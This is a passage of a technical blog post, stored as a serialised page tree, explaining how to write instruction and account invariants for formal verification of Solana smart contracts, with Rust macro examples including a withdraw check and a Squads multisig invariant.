BMC).",{"type":20,"tag":21,"props":18399,"children":18401},{"id":18400},"specification-how-can-we-describe-what-we-want-our-program-to-do",[18402,18404,18408],{"type":26,"value":18403},"Specification: How can we describe what we ",{"type":20,"tag":55,"props":18405,"children":18406},{},[18407],{"type":26,"value":17325},{"type":26,"value":17327},{"type":20,"tag":29,"props":18410,"children":18411},{},[18412],{"type":20,"tag":55,"props":18413,"children":18414},{},[18415],{"type":20,"tag":3717,"props":18416,"children":18417},{},[18418],{"type":26,"value":18419},"And what even do we want it to do?",{"type":20,"tag":29,"props":18421,"children":18422},{},[18423,18425,18430],{"type":26,"value":18424},"A fundamental challenge with any formal verification framework is ",{"type":20,"tag":55,"props":18426,"children":18427},{},[18428],{"type":26,"value":18429},"specifying",{"type":26,"value":18431}," what the \"correct\" behavior should be.",{"type":20,"tag":29,"props":18433,"children":18434},{},[18435],{"type":26,"value":18436},"In natural language, we can describe a few good properties for example Solana programs:",{"type":20,"tag":15089,"props":18438,"children":18439},{},[18440,18452,18464],{"type":20,"tag":72,"props":18441,"children":18442},{},[18443,18445,18450],{"type":26,"value":18444},"\"It should not be possible to ",{"type":20,"tag":3717,"props":18446,"children":18447},{},[18448],{"type":26,"value":18449},"steal money",{"type":26,"value":18451}," via a swap program\"",{"type":20,"tag":72,"props":18453,"children":18454},{},[18455,18457,18462],{"type":26,"value":18456},"\"A multisig should never get into a state where you ",{"type":20,"tag":3717,"props":18458,"children":18459},{},[18460],{"type":26,"value":18461},"can't sign anything",{"type":26,"value":18463},"\"",{"type":20,"tag":72,"props":18465,"children":18466},{},[18467],{"type":26,"value":18468},"\"User funds in a staking protocol \"",{"type":20,"tag":29,"props":18470,"children":18471},{},[18472,18474,18484,18486,18491],{"type":26,"value":18473},"These are types of properties you can tell your ",{"type":20,"tag":35,"props":18475,"children":18478},{"href":18476,"rel":18477},"https://osec.io/",[39],[18479],{"type":20,"tag":55,"props":18480,"children":18481},{},[18482],{"type":26,"value":18483},"human auditors",{"type":26,"value":18485}," but these English phrases are not particularly useful for ",{"type":20,"tag":55,"props":18487,"children":18488},{},[18489],{"type":26,"value":18490},"automated verification techniques",{"type":26,"value":18492}," (at least until our AI overlords surpass human intelligence).",{"type":20,"tag":29,"props":18494,"children":18495},{},[18496,18498,18503,18505,18510],{"type":26,"value":18497},"Instead, we need to be able to specify ",{"type":20,"tag":55,"props":18499,"children":18500},{},[18501],{"type":26,"value":18502},"in code",{"type":26,"value":18504}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":20,"tag":119,"props":18506,"children":18508},{"className":18507},[],[18509],{"type":26,"value":18387},{"type":26,"value":18511}," statement.",{"type":20,"tag":219,"props":18513,"children":18515},{"id":18514},"solana-invariants",[18516],{"type":26,"value":18517},"Solana Invariants",{"type":20,"tag":29,"props":18519,"children":18520},{},[18521,18523,18528,18529,18534],{"type":26,"value":18522},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":20,"tag":3717,"props":18524,"children":18525},{},[18526],{"type":26,"value":18527},"instruction invariants",{"type":26,"value":9392},{"type":20,"tag":3717,"props":18530,"children":18531},{},[18532],{"type":26,"value":18533},"account invariants",{"type":26,"value":61},{"type":20,"tag":17297,"props":18536,"children":18538},{"id":18537},"instruction-invariant",[18539],{"type":26,"value":18540},"Instruction Invariant",{"type":20,"tag":29,"props":18542,"children":18543},{},[18544,18546,18551,18553,18559,18560,18566],{"type":26,"value":18545},"An ",{"type":20,"tag":3717,"props":18547,"children":18548},{},[18549],{"type":26,"value":18550},"instruction invariant",{"type":26,"value":18552}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":20,"tag":119,"props":18554,"children":18556},{"className":18555},[],[18557],{"type":26,"value":18558},"succeeds_if",{"type":26,"value":11534},{"type":20,"tag":119,"props":18561,"children":18563},{"className":18562},[],[18564],{"type":26,"value":18565},"errors_if",{"type":26,"value":18567}," macro annotations on the instruction handler.",{"type":20,"tag":29,"props":18569,"children":18570},{},[18571],{"type":26,"value":18572},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":20,"tag":29,"props":18574,"children":18575},{},[18576,18578,18584,18586,18591],{"type":26,"value":18577},"For example, say we have a ",{"type":20,"tag":119,"props":18579,"children":18581},{"className":18580},[],[18582],{"type":26,"value":18583},"Withdraw",{"type":26,"value":18585}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":20,"tag":55,"props":18587,"children":18588},{},[18589],{"type":26,"value":18590},"more",{"type":26,"value":18592}," tokens than their current balance.",{"type":20,"tag":29,"props":18594,"children":18595},{},[18596,18598,18603],{"type":26,"value":18597},"Using our tool, you could specify the following ",{"type":20,"tag":119,"props":18599,"children":18601},{"className":18600},[],[18602],{"type":26,"value":18565},{"type":26,"value":18604}," property on your instruction handler:",{"type":20,"tag":305,"props":18606,"children":18608},{"code":18607,"language":1359,"meta":7,"className":1360,"style":7},"#[errors_if(\n ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n ...\n}\n",[18609],{"type":20,"tag":119,"props":18610,"children":18611},{"__ignoreMap":7},[18612,18620,18655,18663,18736,18744],{"type":20,"tag":315,"props":18613,"children":18614},{"class":317,"line":318},[18615],{"type":20,"tag":315,"props":18616,"children":18617},{"style":328},[18618],{"type":26,"value":18619},"#[errors_if(\n",{"type":20,"tag":315,"props":18621,"children":18622},{"class":317,"line":356},[18623,18628,18632,18637,18641,18646,18650],{"type":20,"tag":315,"props":18624,"children":18625},{"style":328},[18626],{"type":26,"value":18627}," ctx",{"type":20,"tag":315,"props":18629,"children":18630},{"style":334},[18631],{"type":26,"value":61},{"type":20,"tag":315,"props":18633,"children":18634},{"style":328},[18635],{"type":26,"value":18636},"user",{"type":20,"tag":315,"props":18638,"children":18639},{"style":334},[18640],{"type":26,"value":61},{"type":20,"tag":315,"props":18642,"children":18643},{"style":328},[18644],{"type":26,"value":18645},"balance ",{"type":20,"tag":315,"props":18647,"children":18648},{"style":334},[18649],{"type":26,"value":4199},{"type":20,"tag":315,"props":18651,"children":18652},{"style":328},[18653],{"type":26,"value":18654}," amount\n",{"type":20,"tag":315,"props":18656,"children":18657},{"class":317,"line":365},[18658],{"type":20,"tag":315,"props":18659,"children":18660},{"style":328},[18661],{"type":26,"value":18662},")]\n",{"type":20,"tag":315,"props":18664,"children":18665},{"class":317,"line":374},[18666,18671,18676,18680,18685,18689,18694,18698,18702,18706,18711,18715,18719,18723,18727,18731],{"type":20,"tag":315,"props":18667,"children":18668},{"style":541},[18669],{"type":26,"value":18670},"fn",{"type":20,"tag":315,"props":18672,"children":18673},{"style":345},[18674],{"type":26,"value":18675}," withdraw",{"type":20,"tag":315,"props":18677,"children":18678},{"style":328},[18679],{"type":26,"value":1049},{"type":20,"tag":315,"props":18681,"children":18682},{"style":635},[18683],{"type":26,"value":18684},"ctx",{"type":20,"tag":315,"props":18686,"children":18687},{"style":334},[18688],{"type":26,"value":2884},{"type":20,"tag":315,"props":18690,"children":18691},{"style":322},[18692],{"type":26,"value":18693}," Context",{"type":20,"tag":315,"props":18695,"children":18696},{"style":328},[18697],{"type":26,"value":4199},{"type":20,"tag":315,"props":18699,"children":18700},{"style":322},[18701],{"type":26,"value":18583},{"type":20,"tag":315,"props":18703,"children":18704},{"style":328},[18705],{"type":26,"value":5025},{"type":20,"tag":315,"props":18707,"children":18708},{"style":635},[18709],{"type":26,"value":18710},"amount",{"type":20,"tag":315,"props":18712,"children":18713},{"style":334},[18714],{"type":26,"value":2884},{"type":20,"tag":315,"props":18716,"children":18717},{"style":322},[18718],{"type":26,"value":4253},{"type":20,"tag":315,"props":18720,"children":18721},{"style":328},[18722],{"type":26,"value":1468},{"type":20,"tag":315,"props":18724,"children":18725},{"style":334},[18726],{"type":26,"value":12158},{"type":20,"tag":315,"props":18728,"children":18729},{"style":322},[18730],{"type":26,"value":12163},{"type":20,"tag":315,"props":18732,"children":18733},{"style":328},[18734],{"type":26,"value":18735},"\u003C()> {\n",{"type":20,"tag":315,"props":18737,"children":18738},{"class":317,"line":383},[18739],{"type":20,"tag":315,"props":18740,"children":18741},{"style":334},[18742],{"type":26,"value":18743}," ...\n",{"type":20,"tag":315,"props":18745,"children":18746},{"class":317,"line":407},[18747],{"type":20,"tag":315,"props":18748,"children":18749},{"style":328},[18750],{"type":26,"value":577},{"type":20,"tag":1312,"props":18752,"children":18753},{},[18754],{"type":20,"tag":29,"props":18755,"children":18756},{},[18757,18758,18763,18765,18770,18772,18777],{"type":26,"value":15015},{"type":20,"tag":119,"props":18759,"children":18761},{"className":18760},[],[18762],{"type":26,"value":18565},{"type":26,"value":18764}," expression specifies ",{"type":20,"tag":55,"props":18766,"children":18767},{},[18768],{"type":26,"value":18769},"succifient",{"type":26,"value":18771}," but not ",{"type":20,"tag":55,"props":18773,"children":18774},{},[18775],{"type":26,"value":18776},"necessary",{"type":26,"value":18778}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":20,"tag":17197,"props":18780,"children":18781},{},[],{"type":20,"tag":29,"props":18783,"children":18784},{},[18785,18787,18792],{"type":26,"value":18786},"Another example is that for ",{"type":20,"tag":55,"props":18788,"children":18789},{},[18790],{"type":26,"value":18791},"crank",{"type":26,"value":18793}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":20,"tag":305,"props":18795,"children":18797},{"code":18796,"language":1359,"meta":7,"className":1360,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n ...\n}\n",[18798],{"type":20,"tag":119,"props":18799,"children":18800},{"__ignoreMap":7},[18801,18809,18863,18870],{"type":20,"tag":315,"props":18802,"children":18803},{"class":317,"line":318},[18804],{"type":20,"tag":315,"props":18805,"children":18806},{"style":328},[18807],{"type":26,"value":18808},"#[succeeds_if(true)]\n",{"type":20,"tag":315,"props":18810,"children":18811},{"class":317,"line":356},[18812,18816,18821,18825,18829,18833,18837,18841,18846,18851,18855,18859],{"type":20,"tag":315,"props":18813,"children":18814},{"style":541},[18815],{"type":26,"value":18670},{"type":20,"tag":315,"props":18817,"children":18818},{"style":345},[18819],{"type":26,"value":18820}," my_crank",{"type":20,"tag":315,"props":18822,"children":18823},{"style":328},[18824],{"type":26,"value":1049},{"type":20,"tag":315,"props":18826,"children":18827},{"style":635},[18828],{"type":26,"value":18684},{"type":20,"tag":315,"props":18830,"children":18831},{"style":334},[18832],{"type":26,"value":2884},{"type":20,"tag":315,"props":18834,"children":18835},{"style":322},[18836],{"type":26,"value":18693},{"type":20,"tag":315,"props":18838,"children":18839},{"style":328},[18840],{"type":26,"value":4199},{"type":20,"tag":315,"props":18842,"children":18843},{"style":322},[18844],{"type":26,"value":18845},"Crank",{"type":20,"tag":315,"props":18847,"children":18848},{"style":328},[18849],{"type":26,"value":18850},">) ",{"type":20,"tag":315,"props":18852,"children":18853},{"style":334},[18854],{"type":26,"value":12158},{"type":20,"tag":315,"props":18856,"children":18857},{"style":322},[18858],{"type":26,"value":12163},{"type":20,"tag":315,"props":18860,"children":18861},{"style":328},[18862],{"type":26,"value":18735},{"type":20,"tag":315,"props":18864,"children":18865},{"class":317,"line":365},[18866],{"type":20,"tag":315,"props":18867,"children":18868},{"style":334},[18869],{"type":26,"value":18743},{"type":20,"tag":315,"props":18871,"children":18872},{"class":317,"line":374},[18873],{"type":20,"tag":315,"props":18874,"children":18875},{"style":328},[18876],{"type":26,"value":577},{"type":20,"tag":29,"props":18878,"children":18879},{},[18880,18882,18886,18888,18894],{"type":26,"value":18881},"With this invariant, you could prove that the function ",{"type":20,"tag":55,"props":18883,"children":18884},{},[18885],{"type":26,"value":11494},{"type":26,"value":18887}," returns ",{"type":20,"tag":119,"props":18889,"children":18891},{"className":18890},[],[18892],{"type":26,"value":18893},"Ok",{"type":26,"value":18895},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":20,"tag":17197,"props":18897,"children":18898},{},[],{"type":20,"tag":29,"props":18900,"children":18901},{},[18902,18904,18909,18910,18915,18917,18922,18924,18929,18931,18936],{"type":26,"value":18903},"Note that ",{"type":20,"tag":119,"props":18905,"children":18907},{"className":18906},[],[18908],{"type":26,"value":18558},{"type":26,"value":9392},{"type":20,"tag":119,"props":18911,"children":18913},{"className":18912},[],[18914],{"type":26,"value":18565},{"type":26,"value":18916}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":20,"tag":119,"props":18918,"children":18920},{"className":18919},[],[18921],{"type":26,"value":18558},{"type":26,"value":18923}," is not satisfied and a function may fail even if ",{"type":20,"tag":119,"props":18925,"children":18927},{"className":18926},[],[18928],{"type":26,"value":18565},{"type":26,"value":18930}," is not satisfied. If you want to prove the ",{"type":20,"tag":55,"props":18932,"children":18933},{},[18934],{"type":26,"value":18935},"exact condition",{"type":26,"value":18937}," required for an instruction to succeed, you could use a form like the following:",{"type":20,"tag":305,"props":18939,"children":18941},{"code":18940,"language":1359,"meta":7,"className":1360,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n ...\n}\n",[18942],{"type":20,"tag":119,"props":18943,"children":18944},{"__ignoreMap":7},[18945,18989,18996,19013,19039,19091,19098],{"type":20,"tag":315,"props":18946,"children":18947},{"class":317,"line":318},[18948,18952,18957,18961,18965,18969,18973,18977,18981,18985],{"type":20,"tag":315,"props":18949,"children":18950},{"style":541},[18951],{"type":26,"value":18670},{"type":20,"tag":315,"props":18953,"children":18954},{"style":345},[18955],{"type":26,"value":18956}," my_invariant",{"type":20,"tag":315,"props":18958,"children":18959},{"style":328},[18960],{"type":26,"value":1049},{"type":20,"tag":315,"props":18962,"children":18963},{"style":334},[18964],{"type":26,"value":7990},{"type":20,"tag":315,"props":18966,"children":18967},{"style":328},[18968],{"type":26,"value":1468},{"type":20,"tag":315,"props":18970,"children":18971},{"style":334},[18972],{"type":26,"value":12158},{"type":20,"tag":315,"props":18974,"children":18975},{"style":322},[18976],{"type":26,"value":10451},{"type":20,"tag":315,"props":18978,"children":18979},{"style":328},[18980],{"type":26,"value":7985},{"type":20,"tag":315,"props":18982,"children":18983},{"style":334},[18984],{"type":26,"value":7990},{"type":20,"tag":315,"props":18986,"children":18987},{"style":328},[18988],{"type":26,"value":7995},{"type":20,"tag":315,"props":18990,"children":18991},{"class":317,"line":356},[18992],{"type":20,"tag":315,"props":18993,"children":18994},{"emptyLinePlaceholder":15},[18995],{"type":26,"value":427},{"type":20,"tag":315,"props":18997,"children":18998},{"class":317,"line":365},[18999,19004,19008],{"type":20,"tag":315,"props":19000,"children":19001},{"style":328},[19002],{"type":26,"value":19003},"#[succeeds_if(my_invariant(",{"type":20,"tag":315,"props":19005,"children":19006},{"style":334},[19007],{"type":26,"value":7990},{"type":20,"tag":315,"props":19009,"children":19010},{"style":328},[19011],{"type":26,"value":19012},"))]\n",{"type":20,"tag":315,"props":19014,"children":19015},{"class":317,"line":374},[19016,19021,19026,19031,19035],{"type":20,"tag":315,"props":19017,"children":19018},{"style":328},[19019],{"type":26,"value":19020},"#[errors_if(",{"type":20,"tag":315,"props":19022,"children":19023},{"style":334},[19024],{"type":26,"value":19025},"!",{"type":20,"tag":315,"props":19027,"children":19028},{"style":328},[19029],{"type":26,"value":19030},"my_invariant(",{"type":20,"tag":315,"props":19032,"children":19033},{"style":334},[19034],{"type":26,"value":7990},{"type":20,"tag":315,"props":19036,"children":19037},{"style":328},[19038],{"type":26,"value":19012},{"type":20,"tag":315,"props":19040,"children":19041},{"class":317,"line":383},[19042,19046,19051,19055,19059,19063,19067,19071,19075,19079,19083,19087],{"type":20,"tag":315,"props":19043,"children":19044},{"style":541},[19045],{"type":26,"value":18670},{"type":20,"tag":315,"props":19047,"children":19048},{"style":345},[19049],{"type":26,"value":19050}," my_instruction",{"type":20,"tag":315,"props":19052,"children":19053},{"style":328},[19054],{"type":26,"value":1049},{"type":20,"tag":315,"props":19056,"children":19057},{"style":635},[19058],{"type":26,"value":18684},{"type":20,"tag":315,"props":19060,"children":19061},{"style":334},[19062],{"type":26,"value":2884},{"type":20,"tag":315,"props":19064,"children":19065},{"style":322},[19066],{"type":26,"value":18693},{"type":20,"tag":315,"props":19068,"children":19069},{"style":328},[19070],{"type":26,"value":4199},{"type":20,"tag":315,"props":19072,"children":19073},{"style":334},[19074],{"type":26,"value":7990},{"type":20,"tag":315,"props":19076,"children":19077},{"style":328},[19078],{"type":26,"value":18850},{"type":20,"tag":315,"props":19080,"children":19081},{"style":334},[19082],{"type":26,"value":12158},{"type":20,"tag":315,"props":19084,"children":19085},{"style":322},[19086],{"type":26,"value":12163},{"type":20,"tag":315,"props":19088,"children":19089},{"style":328},[19090],{"type":26,"value":18735},{"type":20,"tag":315,"props":19092,"children":19093},{"class":317,"line":407},[19094],{"type":20,"tag":315,"props":19095,"children":19096},{"style":334},[19097],{"type":26,"value":18743},{"type":20,"tag":315,"props":19099,"children":19100},{"class":317,"line":421},[19101],{"type":20,"tag":315,"props":19102,"children":19103},{"style":328},[19104],{"type":26,"value":577},{"type":20,"tag":29,"props":19106,"children":19107},{},[19108],{"type":26,"value":19109},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":20,"tag":17297,"props":19111,"children":19113},{"id":19112},"account-invariants",[19114],{"type":26,"value":19115},"Account Invariants",{"type":20,"tag":29,"props":19117,"children":19118},{},[19119,19121,19126],{"type":26,"value":19120},"The other type of invariant is an ",{"type":20,"tag":3717,"props":19122,"children":19123},{},[19124],{"type":26,"value":19125},"Account Invariant",{"type":26,"value":19127},". This invariant describes some property of an account that should always hold.",{"type":20,"tag":29,"props":19129,"children":19130},{},[19131,19133,19138,19139,19145],{"type":26,"value":19132},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":20,"tag":119,"props":19134,"children":19136},{"className":19135},[],[19137],{"type":26,"value":2107},{"type":26,"value":11534},{"type":20,"tag":119,"props":19140,"children":19142},{"className":19141},[],[19143],{"type":26,"value":19144},"init",{"type":26,"value":19146},").",{"type":20,"tag":29,"props":19148,"children":19149},{},[19150,19152,19158],{"type":26,"value":19151},"For example, given a mock ",{"type":20,"tag":119,"props":19153,"children":19155},{"className":19154},[],[19156],{"type":26,"value":19157},"UserStatement",{"type":26,"value":19159}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":20,"tag":305,"props":19161,"children":19163},{"code":19162,"language":1359,"meta":7,"className":1360,"style":7},"#[account]\n#[invariant(\n self.assets >= self.liabilities\n)]\nstruct UserStatement {\n pub owner: Pubkey,\n pub assets: u64,\n pub liabilities: u64,\n}\n",[19164],{"type":20,"tag":119,"props":19165,"children":19166},{"__ignoreMap":7},[19167,19175,19183,19217,19224,19240,19266,19290,19314],{"type":20,"tag":315,"props":19168,"children":19169},{"class":317,"line":318},[19170],{"type":20,"tag":315,"props":19171,"children":19172},{"style":328},[19173],{"type":26,"value":19174},"#[account]\n",{"type":20,"tag":315,"props":19176,"children":19177},{"class":317,"line":356},[19178],{"type":20,"tag":315,"props":19179,"children":19180},{"style":328},[19181],{"type":26,"value":19182},"#[invariant(\n",{"type":20,"tag":315,"props":19184,"children":19185},{"class":317,"line":365},[19186,19191,19195,19200,19204,19208,19212],{"type":20,"tag":315,"props":19187,"children":19188},{"style":328},[19189],{"type":26,"value":19190}," self",{"type":20,"tag":315,"props":19192,"children":19193},{"style":334},[19194],{"type":26,"value":61},{"type":20,"tag":315,"props":19196,"children":19197},{"style":328},[19198],{"type":26,"value":19199},"assets ",{"type":20,"tag":315,"props":19201,"children":19202},{"style":334},[19203],{"type":26,"value":8343},{"type":20,"tag":315,"props":19205,"children":19206},{"style":328},[19207],{"type":26,"value":12198},{"type":20,"tag":315,"props":19209,"children":19210},{"style":334},[19211],{"type":26,"value":61},{"type":20,"tag":315,"props":19213,"children":19214},{"style":328},[19215],{"type":26,"value":19216},"liabilities\n",{"type":20,"tag":315,"props":19218,"children":19219},{"class":317,"line":374},[19220],{"type":20,"tag":315,"props":19221,"children":19222},{"style":328},[19223],{"type":26,"value":18662},{"type":20,"tag":315,"props":19225,"children":19226},{"class":317,"line":383},[19227,19231,19236],{"type":20,"tag":315,"props":19228,"children":19229},{"style":541},[19230],{"type":26,"value":7800},{"type":20,"tag":315,"props":19232,"children":19233},{"style":322},[19234],{"type":26,"value":19235}," UserStatement",{"type":20,"tag":315,"props":19237,"children":19238},{"style":328},[19239],{"type":26,"value":1092},{"type":20,"tag":315,"props":19241,"children":19242},{"class":317,"line":407},[19243,19248,19253,19257,19262],{"type":20,"tag":315,"props":19244,"children":19245},{"style":541},[19246],{"type":26,"value":19247}," pub",{"type":20,"tag":315,"props":19249,"children":19250},{"style":635},[19251],{"type":26,"value":19252}," owner",{"type":20,"tag":315,"props":19254,"children":19255},{"style":334},[19256],{"type":26,"value":2884},{"type":20,"tag":315,"props":19258,"children":19259},{"style":322},[19260],{"type":26,"value":19261}," Pubkey",{"type":20,"tag":315,"props":19263,"children":19264},{"style":328},[19265],{"type":26,"value":643},{"type":20,"tag":315,"props":19267,"children":19268},{"class":317,"line":421},[19269,19273,19278,19282,19286],{"type":20,"tag":315,"props":19270,"children":19271},{"style":541},[19272],{"type":26,"value":19247},{"type":20,"tag":315,"props":19274,"children":19275},{"style":635},[19276],{"type":26,"value":19277}," assets",{"type":20,"tag":315,"props":19279,"children":19280},{"style":334},[19281],{"type":26,"value":2884},{"type":20,"tag":315,"props":19283,"children":19284},{"style":322},[19285],{"type":26,"value":4253},{"type":20,"tag":315,"props":19287,"children":19288},{"style":328},[19289],{"type":26,"value":643},{"type":20,"tag":315,"props":19291,"children":19292},{"class":317,"line":430},[19293,19297,19302,19306,19310],{"type":20,"tag":315,"props":19294,"children":19295},{"style":541},[19296],{"type":26,"value":19247},{"type":20,"tag":315,"props":19298,"children":19299},{"style":635},[19300],{"type":26,"value":19301}," liabilities",{"type":20,"tag":315,"props":19303,"children":19304},{"style":334},[19305],{"type":26,"value":2884},{"type":20,"tag":315,"props":19307,"children":19308},{"style":322},[19309],{"type":26,"value":4253},{"type":20,"tag":315,"props":19311,"children":19312},{"style":328},[19313],{"type":26,"value":643},{"type":20,"tag":315,"props":19315,"children":19316},{"class":317,"line":453},[19317],{"type":20,"tag":315,"props":19318,"children":19319},{"style":328},[19320],{"type":26,"value":577},{"type":20,"tag":29,"props":19322,"children":19323},{},[19324,19326,19331],{"type":26,"value":19325},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":20,"tag":119,"props":19327,"children":19329},{"className":19328},[],[19330],{"type":26,"value":19157},{"type":26,"value":19332}," is created or modified.",{"type":20,"tag":29,"props":19334,"children":19335},{},[19336,19338,19344],{"type":26,"value":19337},"In another example, we developed the following invariant for the ",{"type":20,"tag":35,"props":19339,"children":19341},{"href":17228,"rel":19340},[39],[19342],{"type":26,"value":19343},"Squads Multisig",{"type":26,"value":19345}," wallet account:",{"type":20,"tag":305,"props":19347,"children":19349},{"code":19348,"language":1359,"meta":7,"className":1360,"style":7},"#[account]\n#[invariant(\n !self.keys.is_empty()\n && (self.keys.len() \u003C= u16::MAX as usize)\n && (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[19350],{"type":20,"tag":119,"props":19351,"children":19352},{"__ignoreMap":7},[19353,19360,19367,19397,19456,19485,19537,19544,19565,19595,19625,19655,19684,19714,19744,19773,19813],{"type":20,"tag":315,"props":19354,"children":19355},{"class":317,"line":318},[19356],{"type":20,"tag":315,"props":19357,"children":19358},{"style":328},[19359],{"type":26,"value":19174},{"type":20,"tag":315,"props":19361,"children":19362},{"class":317,"line":356},[19363],{"type":20,"tag":315,"props":19364,"children":19365},{"style":328},[19366],{"type":26,"value":19182},{"type":20,"tag":315,"props":19368,"children":19369},{"class":317,"line":365},[19370,19375,19379,19383,19388,19392],{"type":20,"tag":315,"props":19371,"children":19372},{"style":334},[19373],{"type":26,"value":19374}," !",{"type":20,"tag":315,"props":19376,"children":19377},{"style":328},[19378],{"type":26,"value":12114},{"type":20,"tag":315,"props":19380,"children":19381},{"style":334},[19382],{"type":26,"value":61},{"type":20,"tag":315,"props":19384,"children":19385},{"style":328},[19386],{"type":26,"value":19387},"keys",{"type":20,"tag":315,"props":19389,"children":19390},{"style":334},[19391],{"type":26,"value":61},{"type":20,"tag":315,"props":19393,"children":19394},{"style":328},[19395],{"type":26,"value":19396},"is_empty()\n",{"type":20,"tag":315,"props":19398,"children":19399},{"class":317,"line":374},[19400,19404,19409,19413,19417,19421,19426,19430,19435,19439,19444,19448,19452],{"type":20,"tag":315,"props":19401,"children":19402},{"style":334},[19403],{"type":26,"value":14022},{"type":20,"tag":315,"props":19405,"children":19406},{"style":328},[19407],{"type":26,"value":19408}," (self",{"type":20,"tag":315,"props":19410,"children":19411},{"style":334},[19412],{"type":26,"value":61},{"type":20,"tag":315,"props":19414,"children":19415},{"style":328},[19416],{"type":26,"value":19387},{"type":20,"tag":315,"props":19418,"children":19419},{"style":334},[19420],{"type":26,"value":61},{"type":20,"tag":315,"props":19422,"children":19423},{"style":328},[19424],{"type":26,"value":19425},"len() ",{"type":20,"tag":315,"props":19427,"children":19428},{"style":334},[19429],{"type":26,"value":17819},{"type":20,"tag":315,"props":19431,"children":19432},{"style":322},[19433],{"type":26,"value":19434}," u16",{"type":20,"tag":315,"props":19436,"children":19437},{"style":334},[19438],{"type":26,"value":1861},{"type":20,"tag":315,"props":19440,"children":19441},{"style":322},[19442],{"type":26,"value":19443},"MAX",{"type":20,"tag":315,"props":19445,"children":19446},{"style":541},[19447],{"type":26,"value":7224},{"type":20,"tag":315,"props":19449,"children":19450},{"style":322},[19451],{"type":26,"value":12132},{"type":20,"tag":315,"props":19453,"children":19454},{"style":328},[19455],{"type":26,"value":380},{"type":20,"tag":315,"props":19457,"children":19458},{"class":317,"line":383},[19459,19463,19467,19471,19476,19480],{"type":20,"tag":315,"props":19460,"children":19461},{"style":334},[19462],{"type":26,"value":14022},{"type":20,"tag":315,"props":19464,"children":19465},{"style":328},[19466],{"type":26,"value":19408},{"type":20,"tag":315,"props":19468,"children":19469},{"style":334},[19470],{"type":26,"value":61},{"type":20,"tag":315,"props":19472,"children":19473},{"style":328},[19474],{"type":26,"value":19475},"threshold ",{"type":20,"tag":315,"props":19477,"children":19478},{"style":334},[19479],{"type":26,"value":8343},{"type":20,"tag":315,"props":19481,"children":19482},{"style":328},[19483],{"type":26,"value":19484}," 1)\n",{"type":20,"tag":315,"props":19486,"children":19487},{"class":317,"line":407},[19488,19492,19496,19500,19504,19508,19512,19516,19520,19524,19528,19532],{"type":20,"tag":315,"props":19489,"children":19490},{"style":334},[19491],{"type":26,"value":14022},{"type":20,"tag":315,"props":19493,"children":19494},{"style":328},[19495],{"type":26,"value":19408},{"type":20,"tag":315,"props":19497,"children":19498},{"style":334},[19499],{"type":26,"value":61},{"type":20,"tag":315,"props":19501,"children":19502},{"style":328},[19503],{"type":26,"value":19475},{"type":20,"tag":315,"props":19505,"children":19506},{"style":541},[19507],{"type":26,"value":7238},{"type":20,"tag":315,"props":19509,"children":19510},{"style":322},[19511],{"type":26,"value":12132},{"type":20,"tag":315,"props":19513,"children":19514},{"style":334},[19515],{"type":26,"value":6593},{"type":20,"tag":315,"props":19517,"children":19518},{"style":328},[19519],{"type":26,"value":12198},{"type":20,"tag":315,"props":19521,"children":19522},{"style":334},[19523],{"type":26,"value":61},{"type":20,"tag":315,"props":19525,"children":19526},{"style":328},[19527],{"type":26,"value":19387},{"type":20,"tag":315,"props":19529,"children":19530},{"style":334},[19531],{"type":26,"value":61},{"type":20,"tag":315,"props":19533,"children":19534},{"style":328},[19535],{"type":26,"value":19536},"len())\n",{"type":20,"tag":315,"props":19538,"children":19539},{"class":317,"line":421},[19540],{"type":20,"tag":315,"props":19541,"children":19542},{"style":328},[19543],{"type":26,"value":18662},{"type":20,"tag":315,"props":19545,"children":19546},{"class":317,"line":430},[19547,19551,19556,19561],{"type":20,"tag":315,"props":19548,"children":19549},{"style":541},[19550],{"type":26,"value":12091},{"type":20,"tag":315,"props":19552,"children":19553},{"style":541},[19554],{"type":26,"value":19555}," struct",{"type":20,"tag":315,"props":19557,"children":19558},{"style":322},[19559],{"type":26,"value":19560}," Ms",{"type":20,"tag":315,"props":19562,"children":19563},{"style":328},[19564],{"type":26,"value":1092},{"type":20,"tag":315,"props":19566,"children":19567},{"class":317,"line":453},[19568,19572,19577,19581,19585,19590],{"type":20,"tag":315,"props":19569,"children":19570},{"style":541},[19571],{"type":26,"value":19247},{"type":20,"tag":315,"props":19573,"children":19574},{"style":635},[19575],{"type":26,"value":19576}," 